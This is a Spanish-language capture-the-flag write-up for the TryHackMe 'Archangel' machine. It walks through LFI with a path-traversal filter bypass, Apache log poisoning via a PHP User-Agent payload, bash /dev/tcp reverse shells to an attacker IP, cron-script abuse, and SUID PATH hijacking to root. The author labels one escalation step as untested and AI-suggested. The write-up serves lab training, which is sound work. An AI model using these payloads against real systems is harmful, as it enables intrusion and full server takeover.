Archangel - TryHackMe

WRITE UP

IP VÍCITMA-> 10.128.138.75 (TTL 62) LINUX

RECONOCIMIENTO

Lo primero que vamos hacer es crear nuestro entorno de trabajo: Gallery

Dentro usaremos la herramienta de s4vitar mkt cual nos generara las carpetas necesarias para tener todo más organizado; Nmap…

Para empezar el reconocimiento, enviamos una traza ICMP a la IP de la maquina víctima, para comprobar que tenemos conectividad, tenemos dos alternativas:

-Usar el script whichSystem que nos dirá directamente el equipo al que estamos atacando, por ende habrá tenido ping para dar la respuesta. Es más silencioso que nmap.

whichSystem 10.128.138.75

-Usar el comando ping:

ping -R 10.128.138.75 -c1
# -R Lo que hace es un record route que consiste que a la hora de hacer la petición se lo envía a un nodo intermediario para que no sea directa la petición.

Después de confirmar que tenemos conectividad, usaremos nmap para a ver que puertos tenemos abiertos y que protocolos/servicios tenemos.

nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.128.138.75 -oG allPorts
# Veremos porque el formato grepeable, es importante.

Una vez hecho, usaremos otra herramienta de s4vitar extractports al archivo allPorts cual nos copiara los puertos, y escanearlos con nmap.

extractports allPorts

nmap -sVC -p22,80 10.128.138.75 -oN targeted
#  El formato -oN lo emplearemos con batcat lenguaje java para verlo mejor
#  Nos mostrará la versión de los servicios que están corriendo
#  Usará scripts defaults definidos en lua

Una vez escaneado, usaremos batcat:

https://github.com/sharkdp/bat.git

batcat targeted -l java
# Nos mostrara la salida en un formato más bonito, con java

RECONOCIMIENTO: SSH

Como tenemos el protocolo de ssh abierto con searchsploit vamos a a buscar por la versión del openssh para ver si es vulnerable. Pero como sabemos, esta versión solo sirve para la enumeración de usuarios.

searchsploit openssh 7.6p1

Nos centraremos en otras cosas, a ver si más adelante obtenemos alguna credencial válida.

ANÁLISIS WEB: RECONOCIMIENTO

Usamos whatweb para hacer un pequeño reconocimiento a nivel web, para ver que tecnologías y demás que usa.

Es igual que la extensión Wappalyzer pero en vez de gráfico por terminal.

whatweb http://10.128.138.75/

Al entrar en la página principal, veremos un dominio cual nos podría interesar, para una posible página externa o Fuzzing para encontrar subdominios, probaremos lo primero.

Dominio: mafialive.thm

Podríamos usar también la extensión Wappalyzer que es lo mismo que whatweb, pero en vez de terminal, por gráfico.

ACCESO AL DOMINIO WEB: MAFIA.THM

Si probamos a poner el dominio en el navegador nos dirá que no se ha podido encontrar. Esto quiere decir que nuestra red a nivel de sistema no reconoce el dominio ya que no lo asocia a ninguna IP.

VIRTUAL HOSTING

Para solucionar esto, nos vamos al fichero /etc/hosts, y añadimos el dominio:

10.128.138.75 mafialive.thm

Ahora, si volvemos a cargar el dominio web, nos podrá encontrar la página. Encontraremos la primera bandera.

FUZZING: DIRECTORIOS A NIVEL WEB

Como nos dice que sigamos buscando, Con la herramienta ffuf haremos Fuzzing para descubrir directorios y vhosts(subdominios) a nivel web potenciales para encontrar algo de información.

DIRECTORIOS

gobuster dir -u http://mafialive.thm/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt --no-error -x .txt .php .xml .html .htm .zip .kdbx .db .log -t 100

ROBOTS.TXT

Nos detectará el archivo robots.txt. Este fichero es importante ya que nos dice que rutas podemos ver y cuales no.

En este caso nos dice que podemos acceder a /test.php.

LFI (LOCAL FILE INCLUSION): PATH TRAVERSAL

Si colocamos la ruta /test.php en la raíz del dominio, nos llevará a la siguiente página. Dirá que es de prueba y un botón inofensivo.

Si le damos al botón para comprobar su funcionamiento, nos cargará un archivo interno a nivel sistema, cual contiene el mensaje a reflejar mediante el parámetro ‘view’.

Pero cuidado con esto, porque si nos enseña la ruta podríamos aplicar wrappers PHP para poder ver el código del php y ver como lo esta procesando.

URL ORIGINAL: /test.php?view=/var/www/html/development_testing/mrrobot.php

BURP SUITE: ANÁLISIS PETICIONES WEB

PROXY

Con la extensión FoxyProxy activaremos el proxy configurado de BurpSuite para poder capturar peticiones y que nos lleguen.

En Burp Suite en el apartado “Proxy > Intercept > Intercept on” para activar que podamos interceptar peticiones.

En la página web le damos al botón “Here is a button” y automáticamente interceptaremos la petición.

REPEATER

Para empezar a jugar con la petición, nos la llevaremos al modo Repeater:

Sirve también presionando Ctrl + R .

En este modo, podemos ver la salida de la petición y sus respectivas cabeceras.

WRAPPER PHP: SourceCodeDisclosure

Como podemos visualizar la ruta desde la cual se carga el archivo interno a nivel sistema a visualizar. Podremos probar un wrapper de PHP para ver el código del php encargado de procesar la salida de dicho archivo y ver que tipos de restricciones puede tener ante un path traversal.

complemento: Ejemplos de wrappers de PHP

WRAPPER PHP a usar: 

http://www.mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php

Lo probaremos primero con el archivo interno que esta siendo cargado, mrrobot.php .

Nos devolverá la salida codeada en base64 y si funciona, al descodificarlo, nos devolverá en una línea de php, el mensaje que vimos al principio sobre ‘Control is an illusion’.

Efectivamente, la podemos ver sin problemas.

echo 'PD9waHAgZWNobyAnQ29udHJvbCBpcyBhbiBpbGx1c2lvbic7ID8+Cg==' | base64 -d

Ahora iremos a ver el código php que nos interesa. El test.php concretamente, ya que este es el que procesa todo lo que esta pasando por detrás.

Obtenemos la salida codeada en base64 (Se aprecia que nos devuelve más líneas).

WRAPPER PHP a usar: 

http://www.mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php

Repetimos el paso anterior descodificando el código y lo pasamos a otro archivo para verlo más cómodamente. -> funcion_php

echo '' | base64 -d > funcion_php

Con batcat usaremos el lenguaje php sobre el archivo para verlo mejor. Aquí cogemos una bandera.

DESGLOSAMIENTO CÓDIGO

Si detecta en la cadena otra cadena, da el valor ‘True’. Si no la encuentra devuelve ‘False’

function containsStr($str, $substr) {
    return strpos($str, $substr) !== false;
}

Condición 1: NO debe contener la string “../..” . Pero no nos restringe usar otros métodos para bypassear un LFI .

!containsStr($GET'view', '../..')

Condición 2: SÍ debe contener la ruta /var/www/html/development_testing

containsStr($GET'view', '/var/www/html/development_testing')

Si ambas condiciones se cumplen, se ejecuta include $_GET['view']; . En caso contrarío muestra el mensaje: “Sorry, Thats not allowed”.

if(isset($_GET['view'])){
    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
        include $_GET['view'];
    } else {
        echo 'Sorry, Thats not allowed';
    }
}

LFI: LOCAL FILE INCLUSION

La vulnerabilidad LFI consiste en poder leer archivos internos arbitrarios a nivel sistema mediante una mala sanitización, específicamente, mediante un archivo que se encarga de procesar por un parámetro.

Como no podemos usar ../.. probaremos con ./.././.././../. que es una forma de bypassear esta restricción. Partiremos después de la ruta (obligatoria) ya que es otra restricción que tenemos que cumplir.

Se acontece dicha vulnerabilidad permitiéndonos leer archivos arbitrarios nivel sistema. En este caso /etc/passwd:

PAYLOAD BYPASS LFI a usar: 

http://www.mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../etc/passwd

Apretaremos “CTRL + U” para visualizar mejor las salidas.

Vemos un usuario válido a nivel sistema llamado archangel.

LOG POISONING

Esta máquina esta enfocada en la intrusión mediante la vulnerabilidad conocida como Log Poisoning.

Una búsqueda rápida en Google, para saber en que consiste:

Abusaremos de una cabecera http para ejecutar código a nivel sistema y tener un RCE.

Tenemos varias posibles rutas de logs potenciales para llevar a cabo este ataque.

Como en la fase de reconocimiento, el escaneo de nmap nos decía que la página web esta alojada en un servidor Apache2 basado en Ubuntu, probaremos a leer el archivo de logs en la ruta siguiente: /var/log/apache2/acces.log.

)

Al probar a leer el archivo acces.log, nos deja visualizarlo reflejándose los logs de acceso de cada vez que ingresamos o refrescamos la página web.

No petar mucho ya que es corrompible muy fácilmente este fichero.

RCE IN HEADER: USER-AGENT

Para tener una posible vía de ejecución remota de código a nivel sistema, interceptaremos con Burp Suite la petición donde la URL estará apuntando al fichero mencionado de logs.

La técnica que se suele explotar al tratar con la vulnerabilidad Log Poisoning, es inyectar código de php en una de las cabeceras de la petición.

Como podemos ver en acces.log nos sale la cabecera ‘User-Agent’ de los que ingresan al servidor web, por lo que se reflejaría el contenido definido, al manipular dicha cabecera con Burp Suite.

<?php system('whoami'); ?> 

Le damos a “send”.

Refrescamos la página, reflejándose y interpretándose al final de la última línea, el comando que definimos anteriormente con la línea en php de la cabecera ‘User-Agent’.

Nos devolverá www-data, quien está y trabaja a nivel servidor interno a nivel sistema.

CURL: RCE TO REVERSE SHELL

Una de las formas de ganar acceso a la máquina a nivel sistema es darnos una reverse shell, y como podemos ejecutar comandos, lo tenemos fácil ya que es como una especie de webshell pero por cabeceras http.

Codearemos primero una reverse shell a base64.

echo 'bash -i >& /dev/tcp/192.168.143.187/443 0>&1' | base64

De forma paralela con netcat nos pondremos en escucha por el puerto 443 para que cuando ejecutemos la reverse shell, recibir el host de la víctima.

nc -nvlp 443

Usaremos curl para variar un poco la forma de ejecutar código.

curl -s -X GET http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log -H "User-Agent: <?php system('echo codeBase64 |base64 -d |bash'); ?>"

En el método GET se puede poner solo el dominio.

Al ejecutar este comando enviaremos al servidor la petición con el código malicioso y se interpretará recibiendo en nuestro netcat la shell víctima.

Estaremos como www-data.

whoami

Se nos quedará la página cargando.

TRATAMIENTO TTY

Tras ganar acceso, haremos un Tratamiento de la TTY para tener una shell más interactiva.

1) script /dev/null -c bash

2) `CTRL + Z

3) stty raw -echo; fg

4) reset xterm

5) Esperamos, y export TERM=xterm.

6) export SHELL=bash

BANDERA USUARIO: 1 LFI

Nos iremos al home personal del usuario archangel y cogeremos la bandera.

# Ir al directorio personal de Archangel
cd /home/archangel

# Leer la bandera de usuario
cat user.txt

PIVOTING DE WWW-DATA A ARCHANGEL

Para escalar privilegios hacia un usuario del sistema con algo más de permisos, investigando observaremos que en el directorio opt/, se alojan; 1 directorio y 1 archivo:

1-backupfiles

2-helloworld.sh

Con el directorio no tendremos permisos para interactuar con el, y con el archivo al leer su contenido con “cat” observamos que nos dice que guarda la frase “hello world” en un fichero .txt dentro del directorio restringido.

Si hacemos un ls -l para ver los permisos de ambos, destacara lo siguiente:

Puedo editar el archivo helloworld.sh como www-data ya que tiene permisos de ejecución para todos los usuarios, aunque diga que el dueño es archangel (Esto será importante saberlo).

Al intentar ejecutarlo no podremos debido a los insuficientes permisos sobre el directorio.

Pero si podemos editar el contenido del archivo helloworld.sh , presionamos ‘Enter’.

# Intenar ejecutar el script .sh
./helloworld.sh

# Leer el contenido de helloworld.sh
nano helloworld.sh

Este era el contenido que vimos anteriormente.

Borraremos lo que haya y escribiremos una reverse shell por el puerto 444 para que cuando se ejecute dicha reverse shell recibir la shell de archangel ya que es el dueño del archivo.

bash -i >& /dev/tcp/192.168.143.187/444 0>&1

De forma paralela con netcat nos pondremos en escucha por el puerto 444 para que cuando ejecutemos la reverse shell, recibir el host de la víctima.

nc -nvlp 444

Se supone que se debería haber ejecutado solo el archivo helloworld.sh porque estaba configurado automáticamente por cron pero yo lo ejecute directamente.

Recibiremos la conexión a nuestro netcat como archangel.

TRATAMIENTO TTY

1) script /dev/null -c bash

2) CTRL + Z

2) stty raw -echo; fg

3) reset xterm

5) Esperamos, y export TERM=xterm

6) export SHELL=bash

BANDERA USUARIO: 2 CRON

En el directorio personal de archangel nos encontraremos con dos directorios, dentro de myfiles estará la segunda bandera de usuario junto a un archivo llamado “backup”.

Se me olvido agregar estas capturas pero backup tiene el bit SUID activado y el dueño es root.

ESCALADA DE PRIVILEGIOS: PATH HIJACKING

Para la escalada de privilegios abusaremos de un Path Hijacking bastante interesante.

Leeremos el contenido de backup y destacará la línea:

cp /home/user/archangel/myfiles/* /opt/backupfiles

El error de sintaxis es que no específica la ruta del binario cp -> /bin/cp

Para aprovecharnos de esto es editar nuestro propio binario con el nombre del comando que va a contener código malicioso que nos dará root y estableceremos la variable de entorno $PATH en esta ruta para que al ejecutarse el archivo como root, vea en mis variables de entorno para buscar donde esta cp y como es la actual donde esta el binario falso, lo use.

Ponemos /bin/bash -p (no perder privilegios de root). Esto nos dará la shell de root.

VERSION IA (NO PROBADA) que me ha convencido:

# 1. Ve a /tmp y crea una carpeta limpia
cd /tmp
mkdir hijack
cd hijack

# 2. Crea el cp falso (la versión más efectiva en esta máquina)
nano cp 
#!/bin/bash
/bin/bash -p

# 3. Dale permisos
chmod +x cp

# 4. Modifica el PATH correctamente (poniendo tu carpeta al principio)
export PATH=/tmp/hijack:$PATH

# 5. Ejecuta el binario SUID
/home/archangel/secret/backup

Haremos los últimos pasos:

1. chmod 777 cp
2. export PATH=.:$PATH

Al hacer env, dirá que el el PATH es ‘.’ (ruta actual, por lo que acudirá a esta)

Por último ejecutamos el archivo, y nos dará dicha shell privilegiada.

./backup

Para confirmar ejecutamos el comando “id” o “whoami” y efectivamente, habremos elevado a usuario privilegio a nivel sistema.

BANDERA ROOT

Nos vamos al directorio /root/ y cogeremos la bandera de root.

# Ir al directorio de root
cd /root/

# Leer la bandera de root
cat root.txt

EASTER EEGG

En el drectorio personal de archangel recordamos había un directorio llamado myfiles. Dentro hay un fichero llamado “passwordbackup”, que al leerlo nos da un enlace a un vídeo de Youtube…

Video de Youtube